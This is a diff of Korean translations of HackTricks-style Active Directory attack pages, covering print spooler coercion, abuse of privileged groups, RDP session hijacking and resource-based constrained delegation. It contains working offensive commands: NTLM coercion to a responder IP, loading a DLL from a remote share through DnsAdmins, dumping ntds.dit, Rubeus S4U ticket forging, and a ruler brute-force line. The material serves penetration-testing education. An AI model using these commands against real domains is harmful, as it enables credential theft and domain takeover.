./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

24
src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
View File

@ -9,7 +9,7 @@
## Spooler Service Abuse
_**Print Spooler**_ 서비스가 **활성화**되어 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고 이를 **어떤 시스템으로 알리도록** 지시할 수 있습니다.\
프린터가 임의의 시스템으로 알림을 보낼 때, 해당 **시스템**에 대해 **인증**해야 합니다. 따라서 공격자는 _**Print Spooler**_ 서비스가 임의의 시스템에 대해 인증하도록 만들 수 있으며, 이 인증에서 서비스는 **컴퓨터 계정**을 **사용**합니다.
프린터가 임의의 시스템에 알림을 보낼 때, 해당 **시스템**에 대해 **인증**해야 합니다. 따라서 공격자는 _**Print Spooler**_ 서비스가 임의의 시스템에 대해 인증하도록 만들 수 있으며, 이 인증에서 서비스는 **컴퓨터 계정**을 **사용**합니다.
### Finding Windows Servers on the domain
@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
```
### Spooler 서비스 리스닝 찾기
조금 수정된 @mysmartlogin의 (Vincent Le Toux의) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)를 사용하여 Spooler 서비스가 리스닝하고 있는지 확인하십시오:
약간 수정된 @mysmartlogin의 (Vincent Le Toux의) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)를 사용하여 Spooler 서비스가 리스닝하고 있는지 확인합니다:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
@ -34,14 +34,14 @@ rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
또는 Linux에서 작업 중이라면 [**3xocyte의 dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) 또는 [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)를 사용하세요.
또는 Linux를 사용하는 경우 [**3xocyte의 dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) 또는 [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)를 사용하세요.
```bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Unconstrained Delegation과 결합
### Unconstrained Delegation과 결합하기
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 제약 없는 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 **제약 없는 위임이 있는 컴퓨터의 메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 제약 없는 위임 덕분에 **프린터의 컴퓨터 계정의 TGT**가 **제약 없는 위임이 있는 컴퓨터의 메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
## RCP 강제 인증
@ -53,7 +53,7 @@ https://github.com/p0dalirius/Coercer
`PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 모든 도메인 사용자에 의해 HTTP를 통해 클라이언트 제공 호스트에 인증되도록 강제할 수 있게 합니다.
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 이전 누적 업데이트의 도메인에 대한 WriteDacl 권한이 있습니다**). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출할 수 있도록** 악용될 수 있습니다. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내의 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다(특히, **2019년 이전 누적 업데이트의 도메인에 대한 WriteDacl 권한**을 가집니다). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출할 수 있도록** 악용될 수 있습니다. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내의 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
## Windows 내부
@ -90,18 +90,24 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### 이메일을 통한
당신이 침투하고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다.
당신이 침투하고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지가 포함된 이메일**을 보낼 수 있습니다.
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
그가 그것을 열면, 인증을 시도할 것입니다.
그가 그것을 열면, 그는 인증을 시도할 것입니다.
### MitM
컴퓨터에 MitM 공격을 수행하고 그가 볼 수 있는 페이지에 HTML을 주입할 수 있다면, 다음과 같은 이미지를 페이지에 주입해 볼 수 있습니다:
당신이 컴퓨터에 MitM 공격을 수행하고 그가 볼 수 있는 페이지에 HTML을 주입할 수 있다면, 다음과 같은 이미지를 페이지에 주입해 볼 수 있습니다:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## NTLM 인증을 강제하고 피싱하는 다른 방법
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## NTLMv1 크래킹
[NTLMv1 챌린지를 캡처할 수 있다면 여기에서 크래킹하는 방법을 읽어보세요](../ntlm/index.html#ntlmv1-attack).\

60
src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
View File

@ -1,19 +1,19 @@
# 권한 그룹
# Privileged Groups
{{#include ../../banners/hacktricks-training.md}}
## 관리 권한이 있는 잘 알려진 그룹
## Well Known groups with administration privileges
- **Administrators**
- **Domain Admins**
- **Enterprise Admins**
## 계정 운영자
## Account Operators
이 그룹은 도메인에서 관리자가 아닌 계정 및 그룹을 생성할 수 있는 권한을 부여받습니다. 또한, 도메인 컨트롤러(DC)에 대한 로컬 로그인을 가능하게 합니다.
이 그룹의 구성원을 식별하기 위해 다음 명령이 실행됩니다:
```powershell
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
새 사용자를 추가하는 것은 허용되며, DC01에 대한 로컬 로그인이 가능합니다.
@ -25,12 +25,12 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
공격자는 **AdminSDHolder** 그룹의 ACL을 수정하여 표준 사용자에게 전체 권한을 부여함으로써 이를 악용할 수 있습니다. 이렇게 되면 해당 사용자는 모든 보호된 그룹에 대한 전체 제어 권한을 가지게 됩니다. 이 사용자의 권한이 변경되거나 제거되면, 시스템 설계로 인해 1시간 이내에 자동으로 복원됩니다.
구성원 검토 및 권한 수정을 위한 명령은 다음과 같습니다:
```powershell
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
복원 프로세스를 가속화하기 위한 스크립트가 제공됩니다: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
스크립트가 복원 프로세스를 가속화하기 위해 제공됩니다: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
자세한 내용은 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)을 방문하세요.
@ -42,7 +42,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### 도메인 컨트롤러 접근
DC의 파일 접근은 사용자가 `Server Operators` 그룹의 일원이 아닌 경우 제한됩니다. 이는 접근 수준을 변경합니다.
DC의 파일 접근은 사용자가 `Server Operators` 그룹의 일원이 아닌 경우 제한됩니다. 이 그룹에 속하면 접근 수준이 변경됩니다.
### 권한 상승
@ -57,10 +57,10 @@ C:\> .\PsService.exe security AppReadiness
`Backup Operators` 그룹의 구성원은 `SeBackup` 및 `SeRestore` 권한 덕분에 `DC01` 파일 시스템에 대한 액세스 권한을 제공합니다. 이러한 권한은 명시적인 권한 없이도 `FILE_FLAG_BACKUP_SEMANTICS` 플래그를 사용하여 폴더 탐색, 목록 작성 및 파일 복사 기능을 가능하게 합니다. 이 프로세스에는 특정 스크립트를 사용하는 것이 필요합니다.
그룹 구성원을 나열하려면 다음을 실행하십시오:
```powershell
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### 로컬 공격
### Local Attack
이러한 권한을 로컬에서 활용하기 위해 다음 단계를 수행합니다:
@ -102,7 +102,7 @@ exit
```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
대안으로, 파일 복사를 위해 `robocopy`를 사용하십시오:
대안으로, 파일 복사를 위해 `robocopy`를 사용하세요:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
@ -133,13 +133,13 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
**DnsAdmins** 그룹의 구성원은 DNS 서버에서 SYSTEM 권한으로 임의의 DLL을 로드할 수 있는 권한을 악용할 수 있으며, 이는 종종 도메인 컨트롤러에서 호스팅됩니다. 이 기능은 상당한 악용 가능성을 제공합니다.
DnsAdmins 그룹의 구성원을 나열하려면 다음을 사용하세요:
```powershell
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### 임의 DLL 실행
구성원은 다음과 같은 명령을 사용하여 DNS 서버가 임의의 DLL(로컬 또는 원격 공유에서)을 로드하도록 할 수 있습니다:
```powershell
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
@ -167,7 +167,7 @@ sc.exe \\dc01 start dns
#### Mimilib.dll
특정 명령이나 리버스 셸을 실행하도록 수정하여 command execution을 위해 mimilib.dll을 사용하는 것도 가능합니다. [이 게시물 확인하기](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)에서 더 많은 정보를 얻을 수 있습니다.
특정 명령이나 리버스 셸을 실행하도록 수정하여 명령 실행을 위해 mimilib.dll을 사용하는 것도 가능합니다. [이 게시물을 확인하십시오](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) 더 많은 정보를 위해.
### WPAD 레코드로 MitM
@ -175,7 +175,7 @@ DnsAdmins는 글로벌 쿼리 차단 목록을 비활성화한 후 WPAD 레코
### 이벤트 로그 리더
구성원은 이벤트 로그에 접근할 수 있으며, 평문 비밀번호나 명령 실행 세부정보와 같은 민감한 정보를 찾을 수 있습니다:
```powershell
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
@ -183,17 +183,17 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
## Exchange Windows Permissions
이 그룹은 도메인 객체의 DACL을 수정할 수 있으며, 잠재적으로 DCSync 권한을 부여할 수 있습니다. 이 그룹을 이용한 권한 상승 기법은 Exchange-AD-Privesc GitHub 리포지토리에 자세히 설명되어 있습니다.
```powershell
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V 관리자는
## Hyper-V Administrators
Hyper-V 관리자는 Hyper-V에 대한 전체 액세스 권한을 가지고 있으며, 이를 통해 가상화된 도메인 컨트롤러에 대한 제어를 얻을 수 있습니다. 여기에는 라이브 DC를 클론하고 NTDS.dit 파일에서 NTLM 해시를 추출하는 것이 포함됩니다.
Hyper-V Administrators는 Hyper-V에 대한 전체 액세스 권한을 가지고 있으며, 이를 통해 가상화된 도메인 컨트롤러에 대한 제어를 얻을 수 있습니다. 여기에는 라이브 DC를 클론하고 NTDS.dit 파일에서 NTLM 해시를 추출하는 것이 포함됩니다.
### 악용 예시
### Exploitation Example
Firefox의 Mozilla Maintenance Service는 Hyper-V 관리자가 SYSTEM으로 명령을 실행하는 데 악용될 수 있습니다. 여기에는 보호된 SYSTEM 파일에 대한 하드 링크를 생성하고 이를 악성 실행 파일로 교체하는 것이 포함됩니다:
Firefox의 Mozilla Maintenance Service는 Hyper-V Administrators에 의해 SYSTEM으로 명령을 실행하는 데 악용될 수 있습니다. 여기에는 보호된 SYSTEM 파일에 대한 하드 링크를 생성하고 이를 악성 실행 파일로 교체하는 것이 포함됩니다:
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
@ -203,33 +203,33 @@ Note: 하드 링크 악용은 최근 Windows 업데이트에서 완화되었습
## 조직 관리
**Microsoft Exchange**가 배포된 환경에서는 **조직 관리**라는 특별한 그룹이 중요한 기능을 가지고 있습니다. 이 그룹은 **모든 도메인 사용자의 메일박스에 접근할 수 있는 권한**을 가지고 있으며, **'Microsoft Exchange 보안 그룹'** 조직 단위(OU)에 대한 **전체 제어**를 유지합니다. 이 제어에는 권한 상승을 위해 악용될 수 있는 **`Exchange Windows Permissions`** 그룹이 포함됩니다.
**Microsoft Exchange**가 배포된 환경에서는 **조직 관리**라는 특별한 그룹이 중요한 기능을 가지고 있습니다. 이 그룹은 **모든 도메인 사용자의 메일박스에 접근할 수 있는 권한**을 가지고 있으며, **'Microsoft Exchange 보안 그룹'** 조직 단위(OU)에 대해 **전체 제어**를 유지합니다. 이 제어에는 권한 상승을 위해 악용될 수 있는 **`Exchange Windows Permissions`** 그룹이 포함됩니다.
### 권한 악용 및 명령
#### 인쇄 운영자
**인쇄 운영자** 그룹의 구성원은 **`SeLoadDriverPrivilege`**를 포함한 여러 권한을 부여받으며, 이를 통해 **도메인 컨트롤러에 로컬로 로그인**하고, 종료하며, 프린터를 관리할 수 있습니다. 이러한 권한을 악용하기 위해서는, 특히 **`SeLoadDriverPrivilege`**가 낮은 권한의 컨텍스트에서 보이지 않는 경우, 사용자 계정 컨트롤(UAC)을 우회해야 합니다.
**인쇄 운영자** 그룹의 구성원은 **`SeLoadDriverPrivilege`**를 포함한 여러 권한을 부여받으며, 이를 통해 **도메인 컨트롤러에 로컬로 로그인**하고, 이를 종료하며, 프린터를 관리할 수 있습니다. 이러한 권한을 악용하기 위해서는, 특히 **`SeLoadDriverPrivilege`**가 낮은 권한의 컨텍스트에서 보이지 않는 경우, 사용자 계정 컨트롤(UAC)을 우회해야 합니다.
이 그룹의 구성원을 나열하기 위해 다음 PowerShell 명령이 사용됩니다:
```powershell
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
**`SeLoadDriverPrivilege`**와 관련된 보다 자세한 악용 기술은 특정 보안 리소스를 참조해야 합니다.
보다 자세한 **`SeLoadDriverPrivilege`** 관련 악용 기술은 특정 보안 리소스를 참조해야 합니다.
#### 원격 데스크톱 사용자
이 그룹의 구성원은 원격 데스크톱 프로토콜(RDP)을 통해 PC에 접근할 수 있습니다. 이러한 구성원을 나열하기 위해 PowerShell 명령을 사용할 수 있습니다:
```powershell
이 그룹의 구성원은 원격 데스크톱 프로토콜(RDP)을 통해 PC에 접근할 수 있습니다. 이 구성원을 나열하기 위해 PowerShell 명령을 사용할 수 있습니다:
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
RDP를 악용하는 데 대한 추가 정보는 전용 펜테스팅 리소스에서 찾을 수 있습니다.
RDP를 악용하는 데 대한 추가 통찰력은 전용 펜테스팅 리소스에서 찾을 수 있습니다.
#### 원격 관리 사용자
구성원은 **Windows 원격 관리(WinRM)**를 통해 PC에 접근할 수 있습니다. 이러한 구성원의 열거는 다음을 통해 수행됩니다:
```powershell
구성원은 **Windows 원격 관리 (WinRM)**를 통해 PC에 접근할 수 있습니다. 이러한 구성원의 열거는 다음을 통해 이루어집니다:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
@ -237,8 +237,8 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
#### 서버 운영자
이 그룹은 도메인 컨트롤러에서 다양한 구성을 수행할 수 있는 권한을 가지고 있으며, 여기에는 백업 및 복원 권한, 시스템 시간 변경, 시스템 종료가 포함됩니다. 구성원을 열거하기 위해 제공된 명령은 다음과 같습니다:
```powershell
이 그룹은 도메인 컨트롤러에서 다양한 구성을 수행할 수 있는 권한을 가지고 있으며, 여기에는 백업 및 복원 권한, 시스템 시간 변경, 시스템 종료 등이 포함됩니다. 구성원을 나열하기 위해 제공된 명령은 다음과 같습니다:
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## References <a href="#references" id="references"></a>

12
src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
View File

@ -4,10 +4,10 @@
## RDP 프로세스 주입
만약 **외부 그룹**이 현재 도메인의 어떤 **컴퓨터**에 **RDP 접근** 권한이 있다면, **공격자**는 **그 컴퓨터를 손상시키고 그를 기다릴 수 있습니다**.
만약 **외부 그룹**이 현재 도메인의 어떤 **컴퓨터**에 **RDP 접근** 권한을 가지고 있다면, **공격자**는 **그 컴퓨터를 손상시키고 그를 기다릴 수 있습니다**.
해당 사용자가 RDP를 통해 접근하면, **공격자는 그 사용자의 세션으로 전환하여** 외부 도메인에서 그 권한을 악용할 수 있습니다.
```powershell
해당 사용자가 RDP를 통해 접근하면, **공격자는 그 사용자의 세션으로 피벗할 수 있으며** 외부 도메인에서 그 권한을 악용할 수 있습니다.
```bash
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
@ -34,10 +34,10 @@ Check **other ways to steal sessions with other tools** [**in this page.**](../.
## RDPInception
사용자가 **RDP를 통해 머신에 접근**할 때, **공격자**가 그를 **기다리고** 있다면, 공격자는 **사용자의 RDP 세션에 비콘을 주입**할 수 있으며, 만약 **희생자가 RDP를 통해 접근할 때 자신의 드라이브를 마운트**했다면, **공격자는 그것에 접근할 수 있습니다**.
사용자가 **RDP를 통해 머신에 접근**할 때, **공격자**가 그를 **기다리고** 있다면, 공격자는 **사용자의 RDP 세션에 비콘을 주입**할 수 있으며, 만약 **희생자가 RDP를 통해 접근할 때 드라이브를 마운트**했다면, **공격자는 그것에 접근할 수 있습니다**.
이 경우, **희생자의** **원래 컴퓨터**를 **백도어**를 **시작 폴더**에 작성하여 **타락**시킬 수 있습니다.
```powershell
이 경우, **희생자의** **원래 컴퓨터**를 **스타트업 폴더**에 **백도어**를 작성하여 **타락**시킬 수 있습니다.
```bash
# Wait til someone logs in:
net logons
Logged on users at \\localhost:

51
src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
View File

@ -5,18 +5,18 @@
## Basics of Resource-based Constrained Delegation
이것은 기본 [Constrained Delegation](constrained-delegation.md)와 유사하지만 **대신** **서비스에 대해 어떤 사용자를 가장할 수 있는 권한**을 **객체**에 부여하는 것이 아니라, Resource-based Constrained Delegation은 **어떤 사용자를 가장할 수 있는지**를 **객체에 설정**합니다.
이것은 기본 [Constrained Delegation](constrained-delegation.md)와 유사하지만 **대신** **객체**에 **사용자를 가장할 수 있는 권한**을 부여하는 것이 아니라, 리소스 기반 제약 위임은 **어떤 사용자가 그것에 대해 가장할 수 있는지를 설정합니다**.
이 경우, 제약된 객체는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성을 가지며, 이 속성에는 그 객체에 대해 다른 사용자를 가장할 수 있는 사용자의 이름이 포함됩니다.
이 경우, 제약 객체는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성을 가지며, 이는 그 객체에 대해 다른 사용자를 가장할 수 있는 사용자의 이름을 포함합니다.
이 제약된 위임의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한**(_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_)을 가진 모든 사용자가 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_를 설정할 수 있다는 것입니다 (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
이 제약 위임과 다른 위임 간의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한**(_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_)을 가진 사용자는 **_msDS-AllowedToActOnBehalfOfOtherIdentity_**를 설정할 수 있다는 것입니다 (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
### New Concepts
제약된 위임에서는 사용자의 _userAccountControl_ 값 내에 있는 **`TrustedToAuthForDelegation`** 플래그가 **S4U2Self**를 수행하는 데 필요하다고 언급되었습니다. 하지만 그것은 완전히 사실이 아닙니다.\
실제로는 그 값이 없더라도 **서비스**(SPN이 있는 경우)라면 어떤 사용자에 대해서도 **S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**가 있으면 반환된 TGS는 **Forwardable**이 되고, 그 플래그가 없으면 반환된 TGS는 **Forwardable**이 **아닙니다**.
제약 위임에서는 사용자의 _userAccountControl_ 값 내에 있는 **`TrustedToAuthForDelegation`** 플래그가 **S4U2Self**를 수행하는 데 필요하다고 언급되었습니다. 하지만 그것은 완전히 사실이 아닙니다.\
실제로는 그 값이 없더라도 **서비스**(SPN이 있는 경우)인 경우 어떤 사용자에 대해서도 **S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**가 있으면 반환된 TGS는 **Forwardable**이 되고, 그 플래그가 없으면 반환된 TGS는 **Forwardable**이 **아닙니다**.
그러나 **S4U2Proxy**에서 사용되는 **TGS**가 **Forwardable이 아닐 경우**, 기본 제약된 위임을 악용하려고 해도 **작동하지 않습니다**. 하지만 **Resource-Based constrain delegation**을 악용하려고 하면 **작동합니다**(이는 취약점이 아니라 기능입니다, 분명히).
그러나 **S4U2Proxy**에서 사용되는 **TGS**가 **Forwardable이 아닐 경우**, 기본 제약 위임을 악용하려고 하면 **작동하지 않습니다**. 하지만 리소스 기반 제약 위임을 악용하려고 하면 **작동합니다**.
### Attack structure
@ -24,39 +24,39 @@
공격자가 이미 **희생 컴퓨터에 대한 쓰기 동등 권한**을 가지고 있다고 가정합니다.
1. 공격자는 **SPN**이 있는 계정을 **타협**하거나 **하나를 생성**합니다 (“Service A”). **특별한 권한**이 없는 **모든** _관리 사용자_는 최대 10개의 **컴퓨터 객체**(**_MachineAccountQuota_**)를 **생성**하고 **SPN**을 설정할 수 있습니다. 따라서 공격자는 단순히 컴퓨터 객체를 생성하고 SPN을 설정할 수 있습니다.
2. 공격자는 희생 컴퓨터(ServiceB)에 대한 **쓰기 권한**을 **악용**하여 **ServiceA가 해당 희생 컴퓨터(ServiceB)에 대해 어떤 사용자를 가장할 수 있도록 리소스 기반 제약 위임을 구성**합니다.
3. 공격자는 Rubeus를 사용하여 **특권 액세스가 있는 사용자**에 대해 Service A에서 Service B로 **전체 S4U 공격**(S4U2Self 및 S4U2Proxy)을 수행합니다.
1. S4U2Self (타협/생성된 SPN에서): **관리자에게 TGS를 요청**합니다 (Forwardable 아님).
2. S4U2Proxy: 이전 단계의 **Forwardable이 아닌 TGS**를 사용하여 **희생 호스트**에 대한 **관리자**의 **TGS**를 요청합니다.
3. Forwardable이 아닌 TGS를 사용하더라도, Resource-based constrained delegation을 악용하고 있으므로 **작동합니다**.
4. 공격자는 **티켓을 전달**하고 **사용자를 가장하여 희생 ServiceB에 대한 **액세스**를 얻을 수 있습니다.
1. 공격자는 **SPN**이 있는 계정을 **타락시키거나** 하나를 **생성**합니다 (“Service A”). **어떤** _관리자 사용자_도 특별한 권한 없이 최대 10개의 컴퓨터 객체(**_MachineAccountQuota_**)를 **생성**하고 **SPN**을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 객체를 생성하고 SPN을 설정할 수 있습니다.
2. 공격자는 희생 컴퓨터(ServiceB)에 대한 **쓰기 권한**을 악용하여 **리소스 기반 제약 위임을 구성하여 ServiceA가 해당 희생 컴퓨터(ServiceB)에 대해 어떤 사용자도 가장할 수 있도록** 합니다.
3. 공격자는 Rubeus를 사용하여 **Service A에서 Service B로의 전체 S4U 공격**(S4U2Self 및 S4U2Proxy)을 수행합니다. 이때 **Service B에 대한 특권 액세스가 있는 사용자**를 대상으로 합니다.
1. S4U2Self (타락시키거나 생성한 SPN에서): **관리자에게 TGS를 요청합니다** (Forwardable이 아님).
2. S4U2Proxy: 이전 단계의 **Forwardable이 아닌 TGS**를 사용하여 **희생 호스트**에 대한 **관리자**의 **TGS**를 요청합니다.
3. Forwardable이 아닌 TGS를 사용하더라도 리소스 기반 제약 위임을 악용하고 있으므로 작동합니다.
4. 공격자는 **티켓을 전달**하고 **사용자를 가장하여 희생 ServiceB에 대한 **액세스**를 얻을 수 있습니다.
도메인의 _**MachineAccountQuota**_를 확인하려면 다음을 사용할 수 있습니다:
```powershell
```bash
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## 공격
### 컴퓨터 객체 생성
[ powermad](https://github.com/Kevin-Robertson/Powermad)**를 사용하여 도메인 내에 컴퓨터 객체를 생성할 수 있습니다:**
```powershell
**[powermad](https://github.com/Kevin-Robertson/Powermad)**를 사용하여 도메인 내에 컴퓨터 객체를 생성할 수 있습니다:
```bash
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
```
### 리소스 기반 제약 위임 구성
### Resource-based Constrained Delegation 구성
**activedirectory PowerShell 모듈 사용**
```powershell
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**PowerView 사용**
```powershell
```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
@ -70,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
### S4U 공격 수행
### S4U 공격 수행하기
우선, 우리는 비밀번호 `123456`로 새로운 컴퓨터 객체를 생성했으므로, 해당 비밀번호의 해시가 필요합니다:
```bash
@ -81,17 +81,17 @@ msds-allowedtoactonbehalfofotheridentity
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Rubeus의 `/altservice` 매개변수를 사용하여 한 번 요청하는 것만으로 더 많은 티켓을 생성할 수 있습니다:
Rubeus의 `/altservice` 매개변수를 사용하여 한 번 요청하는 것만으로 더 많은 서비스에 대한 더 많은 티켓을 생성할 수 있습니다:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> 사용자는 "**위임할 수 없음**"이라는 속성을 가지고 있습니다. 사용자가 이 속성이 True로 설정되어 있으면, 해당 사용자를 가장할 수 없습니다. 이 속성은 bloodhound 내에서 확인할 수 있습니다.
### Accessing
### 접근
마지막 명령줄은 **완전한 S4U 공격을 수행하고 TGS를** 관리자에서 피해자 호스트의 **메모리**로 주입합니다.\
이 예제에서는 관리자로부터 **CIFS** 서비스에 대한 TGS가 요청되었으므로 **C$**에 접근할 수 있습니다.
이 예에서는 관리자로부터 **CIFS** 서비스에 대한 TGS가 요청되었으므로, **C$**에 접근할 수 있습니다.
```bash
ls \\victim.domain.local\C$
```
@ -101,7 +101,7 @@ ls \\victim.domain.local\C$
## Kerberos 오류
